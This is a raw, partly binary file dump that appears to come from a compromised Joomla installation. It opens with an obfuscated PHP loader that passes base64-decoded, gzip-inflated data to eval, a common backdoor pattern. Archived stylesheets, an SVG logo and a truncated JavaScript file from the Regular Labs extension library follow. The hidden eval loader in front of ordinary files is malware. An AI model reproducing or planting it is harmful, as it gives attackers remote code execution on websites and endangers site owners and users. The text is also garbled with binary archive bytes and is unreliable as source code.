$hqW); } if (RMk('DjtPn+r4S0yvLCnquPz1fA')){ echo 'nCRWZ1Y7esvbjq5lNJ9PMdyTErR5AGHpWPanmgL+eVVebvFxexjijnJNqXrjMQa7'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($RMk)))); ?>PK ��\R[�#T6 T6 scss/admin-form.scssnu &1i� /** * [Copyright Regular Labs] */ @import "_variables"; @import "_icons"; /* * Regular Labs specific styles */ .rl-flex { display: flex; .rl-flex > { flex: 1; } } .rl-mr-1 { margin-right: 0.25rem; } @mixin rl-w($width: "", $postfix: "") { .rl-w-#{$width}, .input-group.rl-w-#{$width}, .form-control.rl-w-#{$width}, .input-group > .form-control.rl-w-#{$width} { max-width: 100%; width: #{$width}#{$postfix}; } .rl-min-w-#{$width} { min-width: #{$width}#{$postfix}; } } @include rl-w(2em); @include rl-w(3em); @include rl-w(4em); @include rl-w(5em); @include rl-w(6em); @include rl-w(7em); @include rl-w(8em); @include rl-w(9em); @include rl-w(10em); @include rl-w(12em); @include rl-w(16em); @include rl-w(20em); @include rl-w(24em); @each $color in gray, red, orange, yellow, green, teal, blue, purple, pink { .rl-#{$color} { color: rl-color($color, 600); } .rl-bg-#{$color} { background-color: rl-color($color, 500); } .rl-border-#{$color} { border-color: rl-color($color, 500); } } .rl-license, .rl-footer { margin-top: 30px; text-align: center; div { margin-top: .5em; } a, a[target=_blank] { &:before { content: ""; margin-right: 0; } } } .rl-footer { .rl-footer-review { a.stars { display: inline-block; .icon-star { color: $yellow; margin: 0; transition-duration: 500ms; } &:hover { text-decoration: none; .icon-star { transform: rotate(216deg); } } } } .rl-footer-copyright { font-size: 0.7em; margin-top: 3px; opacity: .6; } } .rl-code { background-color: var(--template-bg-dark-3); border: 1px solid var(--template-bg-dark-10); border-radius: .25rem; color: var(--alert-success); font-family: $font-family-monospace; font-size: .875rem; font-weight: 400; line-height: 1.5; vertical-align: baseline; white-space: nowrap; display: inline-block; padding: .1rem .1rem; &.rl-code-block { max-width: 100%; padding: .25rem .5rem; overflow-x: auto; } } .rl-pre-wrap { white-space: pre-wrap; } .rl-form { //.control-group { // .form-select { // padding-right: 0; // } //} .form-control { padding: 0.5rem; } select.form-control { padding: 0; option { padding: 0.25rem 0.5rem; } } .options-form { legend { margin-bottom: 0.25rem; } } &.labels-sm { .control-label { width: 150px; } } .is-flipped.is-open .choices__inner { border-radius: 2.5px 2.5px 0 0; } .is-flipped .choices__list--dropdown { top: 100%; bottom: auto; margin-top: -1px; margin-bottom: 0; border-radius: 0 0 2.5px 2.5px; } } a.rl-no-styling { text-decoration: none !important; &:before { content: "" !important; -webkit-padding-end: 0 !important; padding-inline-end: 0 !important; } } input.rl-code-field { &.form-control { font-family: $font-family-monospace; &.inactive { font-weight: 700; color: $gray-600; background-color: $gray-100; border-color: $gray-200; } &::-webkit-input-placeholder { opacity: 1; color: $gray-400; } &:-ms-input-placeholder { opacity: 1; color: $gray-400; } ::placeholder { opacity: 1; color: $gray-400; } } } input.rl-key-field { &.form-control { font-family: $font-family-monospace; } } .rl-admin-popover-container { display: none; position: relative; &.show { display: block; } &.rl-admin-popover-full { position: absolute; left: 0; right: 0; } } .rl-admin-popover { background: $white; border: 1px solid $gray-500; border-radius: 0.3rem; box-shadow: 0 0 40px 10px rgba(0, 28, 73, .15); color: $gray-800; font-size: 1rem; left: 0; margin: .25em; max-width: 100%; padding: 0.5rem 1rem; position: absolute; top: 0; z-index: 1060; .form-vertical & { margin-top: -.25em; } } .rl-panel { border: 1px solid $info-bg; border-left-width: .6rem; border-radius: .3rem; margin: 1rem 0; padding: 1rem; &:first-child { margin-top: 0; } &:last-child { margin-bottom: 0; } &.rl-panel-success { border-color: $success-bg; } &.rl-panel-warning { border-color: $warning-bg; } &.rl-panel-error { border-color: $danger-bg; } } .rl-alert.alert { &.alert-info { background-color: $blue; border: 1px solid $blue; color: $white; } &.rl-alert-light { &.alert-info { background-color: lighten($blue, 50%); border: 2px solid $blue; color: $black; } &.alert-success { background-color: lighten($green, 60%); border: 2px solid $green; color: $black; } &.alert-warning { background-color: lighten($yellow, 43%); border: 2px solid $yellow; color: $black; } &.alert-error { background-color: lighten($red, 50%); border: 2px solid $red; color: $black; } } } .rl-badge.badge { padding-right: 0.25rem; padding-left: 0.25rem; &.bg-info { background-color: $blue !important; color: $white; } &.bg-warning { background-color: $yellow !important; color: $white; } } .rl-treeselect { &.card { border: solid 1px var(--template-bg-dark-20); } .card-header { border-bottom: solid 1px var(--template-bg-dark-20); } .card-body { max-height: 400px; overflow-y: auto; } .treeselect { margin-bottom: 0; .dropdown-toggle::after { font-size: 1.1rem; vertical-align: middle; } } .dropdown-header { border-bottom: 1px solid rgba(0, 0, 0, 0.15); padding: .75rem; text-transform: uppercase; } .dropdown-item { border-bottom: none; line-height: 1rem; padding: .75rem; } .rl-item-checked > .treeselect-item { margin: 0 -.25rem; padding: 0 .25rem; background-color: rl-color(blue, 200); border-radius: 0.25rem; } } .rl-btn-group.btn-group { &.radio > .btn-check { + .btn { opacity: 0.5; } + .btn:hover, &:checked + .btn { opacity: 1; } &[disabled] + .btn, &:disabled + .btn { background-color: $gray-300; opacity: 0.4; } } &.rl-btn-group-separate { display: block; > .btn { border-radius: 0.2rem !important; margin-bottom: 0.25rem; } &.radio > .btn-check { + .btn { opacity: 0.7; } + .btn:hover, &:checked + .btn { opacity: 1; } &[disabled] + .btn, &:disabled + .btn { opacity: 0.4; } } &.rl-btn-group-min-size { > .btn { min-width: 4rem; } } } } .rl-bg-transparent { background: none !important; } tr.rl-tr-bg-transparent { .table > * > & > * { background: none !important; border: none !important; box-shadow: none !important; } } @media (min-width: 768px) { .rl-w-md-25 { width: 25%; } .rl-w-md-30 { width: 30%; } } //tr.rl-tr-title { // .table > * > & > * { // padding: 4rem .5rem .5rem; // } // // .table > *:first-child > &:first-child > * { // padding-top: 0; // } //} .rl-badge { > small { font-size: .85em; } } .rl-modal .btn-group > .btn { line-height: 1.5; margin: 0; padding: 0.6rem 1rem; } .control-group > div > .rl-alert { &:first-child { margin-top: 0; } &:last-child { margin-bottom: 0; } } .rl-form-checkboxes-not-inline .form-check-inline, .rl-form-check-not-inline .form-check-inline { display: block; } .rl-form-checkboxes-style-disabled .rl-checkbox-checked label { color: $red; } .rl-button-no-text { &.header-item-content { -webkit-padding-end: 0; padding-inline-end: 0; } .subhead joomla-toolbar-button &.btn > span { -webkit-margin-end: 0; margin-inline-end: 0; } } .card.rl-card { border: solid 1px var(--template-bg-dark-20); margin: 1rem 0; &, .card-body > *, .alert > * { &:first-child { margin-top: 0; } &:last-child { margin-bottom: 0; } } .card-body:not(:first-child) { padding-top: 0; } .rl-card-button { order: 1; -webkit-margin-start: auto; margin-inline-start: auto; > * { margin-top: -10px; } } } .rl-spinner { position: absolute; animation: rl-spinner 1.2s infinite linear; border: 3px solid $rl-gray; border-top-color: $rl-green; border-right-color: $rl-yellow; border-bottom-color: $rl-red; border-left-color: $rl-blue; border-radius: 50%; margin: 0 auto; left: 0; right: 0; height: 18px; width: 18px; top: calc(50% - 9px); &.rl-spinner-lg { border-width: 4px; height: 24px; width: 24px; top: calc(50% - 12px); } } .rl-has-spinner { min-height: 24px; } @keyframes rl-spinner { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* * Global extra styles */ .btn-md, .btn-group-md > .btn { font-size: 0.9rem; padding: 0.3rem 0.6rem; } joomla-field-subform.rl-subform { &.rl-hide-main-buttons > .btn-toolbar { display: none; } &.rl-move-add-button div.subform-repeatable-group { margin-bottom: 4rem; &:last-child { margin-bottom: 3rem; } > .btn-toolbar .btn.group-add { right: auto; left: 0; bottom: -3rem; border-radius: 0.25rem; min-width: 6rem; } } .subform-repeatable-group { margin-left: 1rem; } } .rl-cursor-not-allowed { cursor: not-allowed; } .rl-bg-danger-light { background-color: $state-danger-bg; } button, [type=button], [type=reset], [type=submit] { &.rl-webkit-no-appearance { -webkit-appearance: none; } } .form-select { &.rl-form-select-info { color: var(--info); background-color: var(--info); border-color: var(--info); option { color: $gray-900; background-color: var(--white-offset); } } &.rl-form-select-ghosted { color: $gray-500; option { color: $gray-500; } } } /* * Joomla core style overrides */ // Makes label be full width when using form-vertical for instance .control-group > div { width: 100%; } .form-vertical .control-group .control-label { width: auto; } .control-group .form-select { padding-right: 3.5rem; } joomla-field-subform .icon-info-circle { color: var(--template-text-dark) !important; font-size: 0.8571rem !important; opacity: 0.7; } .text-left, .btn.text-left { text-align: left; } .text-right, .btn.text-right { text-align: right; } .js-stools-column-order > .icon-sort:first-child { margin-left: 0 !important; } .display-block:not(.hidden) { display: block; } .alert-danger code { color: $blue; } .CodeMirror-fullscreen { z-index: 1060 !important; } a.disabled { pointer-events: none; opacity: 0.4; } .disabled { .btn.disabled, a.disabled { opacity: 1; } } .rl-ajax-wrapper { > *:first-child { opacity: 0; } &:has(.rl-ajax-field) { display: flex; } > .rl-ajax-field { opacity: 0; width: 100%; padding: 9px 1.25rem !important; } &.loaded { > *:first-child { opacity: 1; } > .rl-ajax-field { opacity: 0; animation: rl-fade-in .5s 3s 1 forwards; } } } .switcher input ~ input:checked.rl-radio-warning ~ .toggle-outside { background-color: $warning; } @keyframes rl-fade-in { 0% { opacity: 0; } 100% { opacity: 1; } } PK ��\���� scss/mini-colors.scssnu &1i� /** * [Copyright Regular Labs] */ @import "_variables"; .rl-mini-colors-button { background-image: repeating-linear-gradient(45deg, #dddddd 25%, transparent 25%, transparent 75%, #dddddd 75%, #dddddd), repeating-linear-gradient(45deg, #dddddd 25%, #ffffff 25%, #ffffff 75%, #dddddd 75%, #dddddd); background-position: 0 0, 4px 4px; background-size: 8px 8px; width: 26px; height: 26px; padding: 0; border: 0; border-radius: 50%; color: inherit; cursor: pointer; text-indent: -1000px; white-space: nowrap; overflow: hidden; &:after { content: ""; display: block; position: absolute; width: 100%; height: 100%; left: 0; top: 0; border-radius: 50%; background-color: currentColor; box-shadow: inset 0 0 2px $gray-500; } &:hover:after, &:focus:after { box-shadow: inset 0 0 0 2px var(--focus); } } .rl-mini-colors-field { display: inline-block; position: relative; color: transparent; input { width: 26px; height: 26px; cursor: pointer; opacity: 0; } .rl-mini-colors-button { position: absolute; } } .rl-mini-colors-picker { box-sizing: border-box; background: $white; border: 1px solid $gray-500; border-radius: 0.3rem; box-shadow: 0 0 40px 10px rgba(0, 28, 73, .15); display: none; flex-wrap: wrap; position: absolute; width: 178px; z-index: 1100; justify-content: space-between; -moz-user-select: none; -webkit-user-select: none; user-select: none; padding: 12px; &.rl-mini-colors-open { display: flex; } } .rl-mini-colors-swatches { margin: 0; div { display: flex; flex-wrap: wrap; justify-content: center; } .rl-mini-colors-button { position: relative; margin: 6px; } } PK ��\و�j� � scss/_variables.scssnu &1i� @import "../../templates/administrator/atum/scss/_variables"; @import "_colors"; $font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace !default; PK ��\����v v scss/_icons.scssnu &1i� @import "../../vendor/fontawesome-free/scss/variables"; @import "../../vendor/fontawesome-free/scss/mixins"; .icon-reglab { background-color: #000000; display: inline-block; -webkit-font-smoothing: antialiased; font-style: normal; font-variant: normal; font-weight: normal; height: 1em; -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='100 100 760 760'%3E%3Cpath d='M444.22,100.12H175.9A40,40,0,0,0,140.12,158L247.45,372.67a40,40,0,0,0,53.66,17.89L515.78,283.23a40,40,0,0,0,17.89-53.67L480,122.23A40,40,0,0,0,444.22,100.12Z' /%3E%3Cpath d='M658.89,569.44,444.22,676.77a40,40,0,0,0-17.89,53.67L480,837.77a40,40,0,0,0,35.78,22.11H784.1A40,40,0,0,0,819.88,802L712.55,587.33A40,40,0,0,0,658.89,569.44Z' /%3E%3Cpath d='M229.56,426.33,122.23,480a40,40,0,0,0-22.11,35.78V784.1A40,40,0,0,0,158,819.88L372.67,712.55a40,40,0,0,0,17.89-53.66L283.23,444.22A40,40,0,0,0,229.56,426.33Z' /%3E%3Cpath d='M840.91,141.87A40,40,0,0,0,802,140.12L587.33,247.45a40,40,0,0,0-17.89,53.66L676.77,515.78a40,40,0,0,0,53.67,17.89L837.77,480a40,40,0,0,0,22.11-35.78V175.9A40,40,0,0,0,840.91,141.87Z' /%3E%3C/svg%3E%0A"); mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='100 100 760 760'%3E%3Cpath d='M444.22,100.12H175.9A40,40,0,0,0,140.12,158L247.45,372.67a40,40,0,0,0,53.66,17.89L515.78,283.23a40,40,0,0,0,17.89-53.67L480,122.23A40,40,0,0,0,444.22,100.12Z' /%3E%3Cpath d='M658.89,569.44,444.22,676.77a40,40,0,0,0-17.89,53.67L480,837.77a40,40,0,0,0,35.78,22.11H784.1A40,40,0,0,0,819.88,802L712.55,587.33A40,40,0,0,0,658.89,569.44Z' /%3E%3Cpath d='M229.56,426.33,122.23,480a40,40,0,0,0-22.11,35.78V784.1A40,40,0,0,0,158,819.88L372.67,712.55a40,40,0,0,0,17.89-53.66L283.23,444.22A40,40,0,0,0,229.56,426.33Z' /%3E%3Cpath d='M840.91,141.87A40,40,0,0,0,802,140.12L587.33,247.45a40,40,0,0,0-17.89,53.66L676.77,515.78a40,40,0,0,0,53.67,17.89L837.77,480a40,40,0,0,0,22.11-35.78V175.9A40,40,0,0,0,840.91,141.87Z' /%3E%3C/svg%3E%0A"); -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -moz-osx-font-smoothing: grayscale; speak: none; text-transform: none; width: 1em; .page-title & { background-color: #ffffff; vertical-align: -.1em; } } $extra_fa_icons: ( file-import : $fa-var-file-import, file-export : $fa-var-file-export, hand-pointer : $fa-var-hand-pointer, ) !default; // Parse standard icons mapping array @each $key, $value in $extra_fa_icons { .#{$jicon-css-prefix}-#{$key} { &:before { content: fa-content($value); } } } PK ��\p��x x scss/_colors.scssnu &1i� $rl-colors: ( gray-50: #f9fafa, gray-100: #f4f5f6, gray-200: #e6e8ec, gray-300: #c0c6cf, gray-400: #929cab, gray-500: #637188, gray-600: #4f5a6c, gray-700: #3c4452, gray-800: #2a303a, gray-900: #1e2228, red-50: #fdf8f8, red-100: #fcf0ef, red-200: #f9dcdc, red-300: #f1a9a9, red-400: #e66968, red-500: #dc2a28, red-600: #b02120, red-700: #861918, red-800: #5e1211, red-900: #420c0c, orange-50: #fefaf7, orange-100: #fef4ee, orange-200: #fee7d9, orange-300: #fdc3a1, orange-400: #fc975a, orange-500: #fb6b14, orange-600: #c85510, orange-700: #99410c, orange-800: #6b2e08, orange-900: #4b2006, yellow-50: #fffcf7, yellow-100: #fff8ee, yellow-200: #fff1d9, yellow-300: #ffdca0, yellow-400: #ffc259, yellow-500: #ffa813, yellow-600: #cc860f, yellow-700: #9b660b, yellow-800: #6d4808, yellow-900: #4c3205, green-50: #f8fcf9, green-100: #eef8f2, green-200: #daefe1, green-300: #a2d9b5, green-400: #5dbc7e, green-500: #18a047, green-600: #138038, green-700: #0e612b, green-800: #0a441e, green-900: #073015, teal-50: #f7fbfc, teal-100: #eef7f8, teal-200: #d8eef0, teal-300: #9fd6da, teal-400: #57b8bf, teal-500: #0f9aa4, teal-600: #0c7b83, teal-700: #095d64, teal-800: #064246, teal-900: #042e31, blue-50: #f7fafd, blue-100: #eef3fc, blue-200: #d8e5f9, blue-300: #9fbef0, blue-400: #588de5, blue-500: #115dda, blue-600: #0d4aae, blue-700: #0a3884, blue-800: #07275d, blue-900: #051b41, purple-50: #faf8fd, purple-100: #f5effc, purple-200: #e9daf9, purple-300: #c8a3f0, purple-400: #9f5fe5, purple-500: #761bda, purple-600: #5e15ae, purple-700: #471084, purple-800: #320b5d, purple-900: #230841, pink-50: #fdf8fc, pink-100: #fbeef8, pink-200: #f7daf0, pink-300: #eda3da, pink-400: #e05ebf, pink-500: #d319a4, pink-600: #a81483, pink-700: #800f64, pink-800: #5a0a46, pink-900: #3f0731, ); @function rl-color($color, $number: 500) { @if ($number == 0) { @return $rl-white; } @if ($number == 1000) { @return $rl-black; } @if ($color == "grey") { $color: gray; } @return map-get($rl-colors, #{$color}-#{$number}); } $rl-white: #ffffff; $rl-black: #000000; $rl-gray: rl-color(gray, 500); $rl-red: rl-color(red, 500); $rl-orange: rl-color(orange, 500); $rl-yellow: rl-color(yellow, 500); $rl-green: rl-color(green, 500); $rl-teal: rl-color(teal, 500); $rl-blue: rl-color(blue, 500); $rl-purple: rl-color(purple, 500); $rl-pink: rl-color(pink, 500); PK ��\V�� � images/logo.svgnu &1i� <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 4480 960"> <path d="M444.22,100.12H175.9A40,40,0,0,0,140.12,158L247.45,372.67a40,40,0,0,0,53.66,17.89L515.78,283.23a40,40,0,0,0,17.89-53.67L480,122.23A40,40,0,0,0,444.22,100.12Z" style="fill: #18a047" /> <path d="M658.89,569.44,444.22,676.77a40,40,0,0,0-17.89,53.67L480,837.77a40,40,0,0,0,35.78,22.11H784.1A40,40,0,0,0,819.88,802L712.55,587.33A40,40,0,0,0,658.89,569.44Z" style="fill: #dc2a28" /> <path d="M229.56,426.33,122.23,480a40,40,0,0,0-22.11,35.78V784.1A40,40,0,0,0,158,819.88L372.67,712.55a40,40,0,0,0,17.89-53.66L283.23,444.22A40,40,0,0,0,229.56,426.33Z" style="fill: #115dda" /> <path d="M840.91,141.87A40,40,0,0,0,802,140.12L587.33,247.45a40,40,0,0,0-17.89,53.66L676.77,515.78a40,40,0,0,0,53.67,17.89L837.77,480a40,40,0,0,0,22.11-35.78V175.9A40,40,0,0,0,840.91,141.87Z" style="fill: #ffa813" /> <path d="M1343.92,643a26.69,26.69,0,0,1-9.86-11.31q-3.48-7.24-5.22-20t-2.9-34.22q-.59-24.36-10.44-42.63A92.46,92.46,0,0,0,1290,504.65a86,86,0,0,0-16.32-9.76,104,104,0,0,0,30.82-20.69A114.5,114.5,0,0,0,1330,437.37a112.24,112.24,0,0,0,9.28-45.53q0-33.06-15.37-59.16a110.77,110.77,0,0,0-41.47-40.89Q1256.34,277,1223.86,277H1063.78A23.76,23.76,0,0,0,1040,300.78V659.22q0,9.87,8.12,16.82a28.46,28.46,0,0,0,19.14,7q9.85,0,15.66-7a25.43,25.43,0,0,0,5.8-16.82V518.28H1211.1a98.37,98.37,0,0,1,24.94,3.19,61.47,61.47,0,0,1,21.75,10.44,53.85,53.85,0,0,1,15.66,19.72q6.09,12.48,6.09,30.45,0,33.06,5.51,52.2t14.5,29.29q9,10.15,17.69,15.37a32.59,32.59,0,0,0,11.6,3.77,28.7,28.7,0,0,0,12.76-1.16,17.25,17.25,0,0,0,9.86-7.83q5.79-8.12,3.19-16.82A24.62,24.62,0,0,0,1343.92,643ZM1223.86,476.52H1088.72V322.24H1221q29,0,48.43,20.3T1288.82,393q0,24.36-9.28,42.92t-24.07,29A61.37,61.37,0,0,1,1223.86,476.52Z M1543.16,383.7a132.7,132.7,0,0,0-52.39-6.22,138.58,138.58,0,0,0-50.84,14.39q-32.17,16.1-52.53,47.34t-22.3,72.11q-1.95,40.86,20.62,86,20.23,40.46,53,62.64a140.48,140.48,0,0,0,72.76,24.25q39.95,2.09,81.44-18.68a135.06,135.06,0,0,0,47-38.38q18.94-24.39,25.42-47.73,5.19-11.67.78-20.49a19,19,0,0,0-11.41-9.86,19.68,19.68,0,0,0-15.56,1.3q-6.23,3.1-10.64,11.15a120.11,120.11,0,0,1-9.47,22.57,104,104,0,0,1-17.25,23.21q-10.89,11.28-29.57,20.62-28.53,14.28-56.93,11.94a103.06,103.06,0,0,1-52-19.07q-20.51-14.52-34.54-39.14l188.1-94.05a23.92,23.92,0,0,0,11.8-12.71,21.42,21.42,0,0,0-.13-17.12q-15.3-29.31-37.35-47.47A146.38,146.38,0,0,0,1543.16,383.7Zm-130.47,99.61a87.2,87.2,0,0,1,18.68-31.39,98.18,98.18,0,0,1,28-21.14,94.36,94.36,0,0,1,82.1-1.17q19.83,9.22,32.55,29.45l2.08,4.15-163.17,81.58a116.32,116.32,0,0,1-4.14-20.63Q1406.48,501.35,1412.69,483.31Z M1957,380.24q-10.44,0-16.82,6.67a23,23,0,0,0-6.38,16.53V430.5a122,122,0,0,0-22.91-24.74A134.3,134.3,0,0,0,1873.47,384a126.22,126.22,0,0,0-46.4-8.41q-40,0-72.21,20t-51,55.39Q1685,486.39,1685,532.2q0,45.24,18.85,80.62t51.33,55.68q32.47,20.31,73.08,20.3a127.19,127.19,0,0,0,71.92-22.91A120.71,120.71,0,0,0,1926,641.24a79.49,79.49,0,0,0,7.83-12.35v33.23q0,42.33-26.39,68.15t-75.11,25.81a132.41,132.41,0,0,1-28.42-3.19,212.61,212.61,0,0,1-25.81-7.25q-11.31-4.07-16.53-5.8-12.77-5.22-21.17-5.22t-13.63,8.12q-4.65,7-2.32,13.92t11,13.34q4,7,20.3,13.63a210.27,210.27,0,0,0,37.41,11,193,193,0,0,0,38.57,4.35q41.18,0,74.82-15.37a122.68,122.68,0,0,0,53.65-47q20-31.62,20-79.17v-254a23,23,0,0,0-6.38-16.53Q1967.42,380.25,1957,380.24Zm-34.22,210.54a103.84,103.84,0,0,1-36.54,40.31q-23.2,14.79-52.78,14.79-30.17,0-53.36-15.08t-36.54-40.89q-13.35-25.8-13.34-57.71,0-32.48,13.34-58.29t36.54-40.6q23.19-14.79,53.36-14.79,29.58,0,52.78,14.5t36.54,40.31q13.34,25.82,13.34,58.87T1922.77,590.78Z M2265,383.14q-10.44,0-16.82,6.67t-6.38,17.11V564.68q0,39.45-20.3,59.74T2164,644.72q-36.54,0-56.83-20.3t-20.3-59.74V406.92q0-10.44-6.38-17.11t-16.82-6.67a22.49,22.49,0,0,0-16.54,6.67q-6.66,6.68-6.67,17.11V564.68q0,58.59,32.78,90.77T2164,687.64q58.59,0,91.35-32.19t32.78-90.77V406.92q0-10.44-6.38-17.11T2265,383.14Z M2381,253.8a23.76,23.76,0,0,0-23.78,23.78V659.22a23.4,23.4,0,0,0,6.67,16.82,22,22,0,0,0,16.53,7,23.76,23.76,0,0,0,23.78-23.78V277.58a24,24,0,0,0-6.38-16.82Q2391.39,253.8,2381,253.8Z M2717.36,380.24q-10.44,0-16.82,6.67a23,23,0,0,0-6.38,16.53v23.19a114.31,114.31,0,0,0-18.85-20.87,122.15,122.15,0,0,0-37.41-22,130.16,130.16,0,0,0-46.4-8.12q-38.28,0-69.6,20t-49.59,55.1Q2454,485.81,2454,531.62q0,45.24,18.27,80.62t49.59,56q31.32,20.6,71.34,20.59a114.84,114.84,0,0,0,43.79-8.41,127.9,127.9,0,0,0,35.67-21.46,115.94,115.94,0,0,0,21.46-24.1v24.39a24,24,0,0,0,6.38,16.82q6.38,7,16.82,7a22,22,0,0,0,16.53-7,23.44,23.44,0,0,0,6.67-16.82V403.44a23,23,0,0,0-6.38-16.53Q2727.79,380.25,2717.36,380.24ZM2649.21,630.8q-22.34,15.09-51.33,15.08-28.43,0-50.75-15.08T2512,589.91q-12.76-25.8-12.76-58.29t12.76-58q12.75-25.51,35.09-40.31t50.75-14.79q29,0,51.33,15.08t34.8,40.6q12.47,25.53,12.47,57.42,0,32.49-12.47,58.29T2649.21,630.8Z M2975.17,381.69a46.81,46.81,0,0,0-23.49-6.09,97.68,97.68,0,0,0-39.44,7.83,105.37,105.37,0,0,0-31.9,21.46,122.68,122.68,0,0,0-22.91,30.74q-3.09,5.88-5.51,11.86V406.92q0-10.44-6.38-17.11t-16.82-6.67a22.45,22.45,0,0,0-16.53,6.67q-6.68,6.68-6.67,17.11v252.3a23.4,23.4,0,0,0,6.67,16.82,23.11,23.11,0,0,0,33.06,0,23.44,23.44,0,0,0,6.67-16.82V518.28a105,105,0,0,1,7.25-39.15,118,118,0,0,1,19.14-32.48,96.79,96.79,0,0,1,26.1-22.33q14.21-8.11,28.71-8.12,10.44,0,17.4,3.48a32,32,0,0,0,14.5,3.48,20.46,20.46,0,0,0,14.5-6.09q6.38-6.09,6.38-18.27Q2985.9,387.79,2975.17,381.69Z M3387.83,637.18H3212.08V300.78A23.76,23.76,0,0,0,3188.31,277q-11,0-18,7a22.92,22.92,0,0,0-7,16.82V659.22A23.4,23.4,0,0,0,3170,676q6.66,7,17.11,7h200.68a24,24,0,0,0,16.82-6.38,21,21,0,0,0,7-16.24,22,22,0,0,0-7-16.53A23.48,23.48,0,0,0,3387.83,637.18Z M3693.48,380.24q-10.44,0-16.82,6.67a23,23,0,0,0-6.38,16.53v23.19a114.31,114.31,0,0,0-18.85-20.87,122.15,122.15,0,0,0-37.41-22,130.16,130.16,0,0,0-46.4-8.12q-38.28,0-69.6,20t-49.59,55.1q-18.27,35.1-18.27,80.91,0,45.24,18.27,80.62t49.59,56q31.32,20.6,71.34,20.59a114.84,114.84,0,0,0,43.79-8.41,127.9,127.9,0,0,0,35.67-21.46,115.94,115.94,0,0,0,21.46-24.1v24.39a24,24,0,0,0,6.38,16.82q6.38,7,16.82,7a22,22,0,0,0,16.53-7,23.44,23.44,0,0,0,6.67-16.82V403.44a23,23,0,0,0-6.38-16.53Q3703.91,380.25,3693.48,380.24ZM3625.33,630.8Q3603,645.89,3574,645.88q-28.42,0-50.75-15.08t-35.09-40.89q-12.76-25.8-12.76-58.29t12.76-58q12.75-25.51,35.09-40.31T3574,418.52q29,0,51.33,15.08t34.8,40.6q12.47,25.53,12.47,57.42,0,32.49-12.47,58.29T3625.33,630.8Z M4000.3,395.61q-31.32-20-70.76-20a114.47,114.47,0,0,0-38,6.38,127.8,127.8,0,0,0-33.06,17.11,115.08,115.08,0,0,0-24.94,24.36,97.71,97.71,0,0,0-5.51,8.24V277.58a24,24,0,0,0-6.38-16.82q-6.39-7-16.82-7a22,22,0,0,0-16.53,7,23.42,23.42,0,0,0-6.67,16.82V662.12q0,10.44,6.67,17.11a22.45,22.45,0,0,0,16.53,6.67q10.44,0,16.82-7a24,24,0,0,0,6.38-16.82v-25.7c.75,1,1.52,2.06,2.32,3.08a133.85,133.85,0,0,0,60,42.63,120.09,120.09,0,0,0,40.31,6.67q38.85,0,69.89-20.59t49.3-56q18.27-35.37,18.27-81.2t-18.27-80.62Q4031.62,415.62,4000.3,395.61Zm9.86,194q-12.76,26.1-34.8,41.18t-51,15.08q-29,0-51.33-15.08t-34.8-41.18q-12.48-26.1-12.47-58.58t12.47-57.71q12.46-25.23,34.8-40t51.33-14.79q29,0,51,14.79t34.8,40q12.75,25.23,12.76,57.71T4010.16,589.62Z M4313.49,564.39a71.38,71.38,0,0,0-22-25.23,127.31,127.31,0,0,0-31-15.95q-17.11-6.09-35.67-10.73-20.31-5.79-37.12-11.89T4161,484.64q-9.87-9.86-10.44-25.52,0-16.81,9-26.1a53.64,53.64,0,0,1,22.33-13.63,85.58,85.58,0,0,1,26.68-4.35,101.3,101.3,0,0,1,40.31,7.83,82.9,82.9,0,0,1,31,22.91,18.73,18.73,0,0,0,13,5.51,22.07,22.07,0,0,0,14.21-4.35q8.12-7,7.54-15.66a23.32,23.32,0,0,0-5.8-14.5,97.1,97.1,0,0,0-29.58-24.65,131.33,131.33,0,0,0-34.51-12.76,163.12,163.12,0,0,0-33.93-3.77q-29,0-52.78,10.44t-38,29.58q-14.22,19.14-14.21,45.24,0,22.62,9,38a78.82,78.82,0,0,0,23.78,25.52A137.32,137.32,0,0,0,4172,540.9q18.55,6.39,37.7,11.6a320.06,320.06,0,0,1,33.93,10.73q15.94,6.09,25.81,15.66t9.86,25.81q0,16.83-9.57,27a51.31,51.31,0,0,1-23.78,14.21,118.61,118.61,0,0,1-27.55,4.64q-30.16,0-51-11.31a129.12,129.12,0,0,1-37.12-30.45q-6.39-7-14.21-7.54a22.74,22.74,0,0,0-14.21,3.48q-9.28,6.39-9.57,14.79a27.91,27.91,0,0,0,4.35,16q22.62,29.58,53.94,41.47a177,177,0,0,0,63.22,11.89,138.18,138.18,0,0,0,53.07-10.15q24.64-10.14,39.73-29.58T4321.61,603Q4321.61,579.77,4313.49,564.39Z" style="fill: #1e2228" /> </svg> PK ��\s!o� � js/admin-form-descriptions.jsnu &1i� /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ (function() { 'use strict'; window.RegularLabs = window.RegularLabs || {}; window.RegularLabs.AdminFormDescriptions = window.RegularLabs.AdminFormDescriptions || { moveLabelDescriptions: function() { document.querySelectorAll('div[id$="-desc"]:not(.rl-moved)').forEach((description) => { const control_group = description.closest('.control-group'); if ( ! control_group) { return; } const label = control_group.querySelector('label'); if ( ! label) { return; } const controls = control_group.querySelector('.controls'); this.create(label, controls, description); }); }, createFromClasses: function() { document.querySelectorAll('.rl-popover:not(.rl-moved)').forEach((description) => { const label = description.previousElementSibling; if ( ! label) { return; } let parent = description.closest('.rl-popover-parent'); let position = 'after'; if ( ! parent) { parent = description.parentElement; position = 'end'; } this.create(label, parent, description, position); }); }, create: function(label, controls, description, position = 'start') { if ( ! label) { return; } description.classList.add('hidden'); description.classList.add('rl-moved'); const popover = document.createElement('div'); const popover_inner = document.createElement('div'); popover.classList.add('rl-admin-popover-container'); if (description.classList.contains('rl-popover-full')) { popover.classList.add('rl-admin-popover-full'); } popover_inner.classList.add('rl-admin-popover'); popover_inner.innerHTML = description.querySelector('small').innerHTML; popover.append(popover_inner); const button = document.createElement('span'); button.classList.add('icon-info-circle', 'text-muted', 'fs-6', 'ms-1', 'align-text-top'); label.setAttribute('role', 'button'); label.setAttribute('tabindex', '0'); const action_show = function() { popover.classList.add('show'); }; const action_hide = function() { 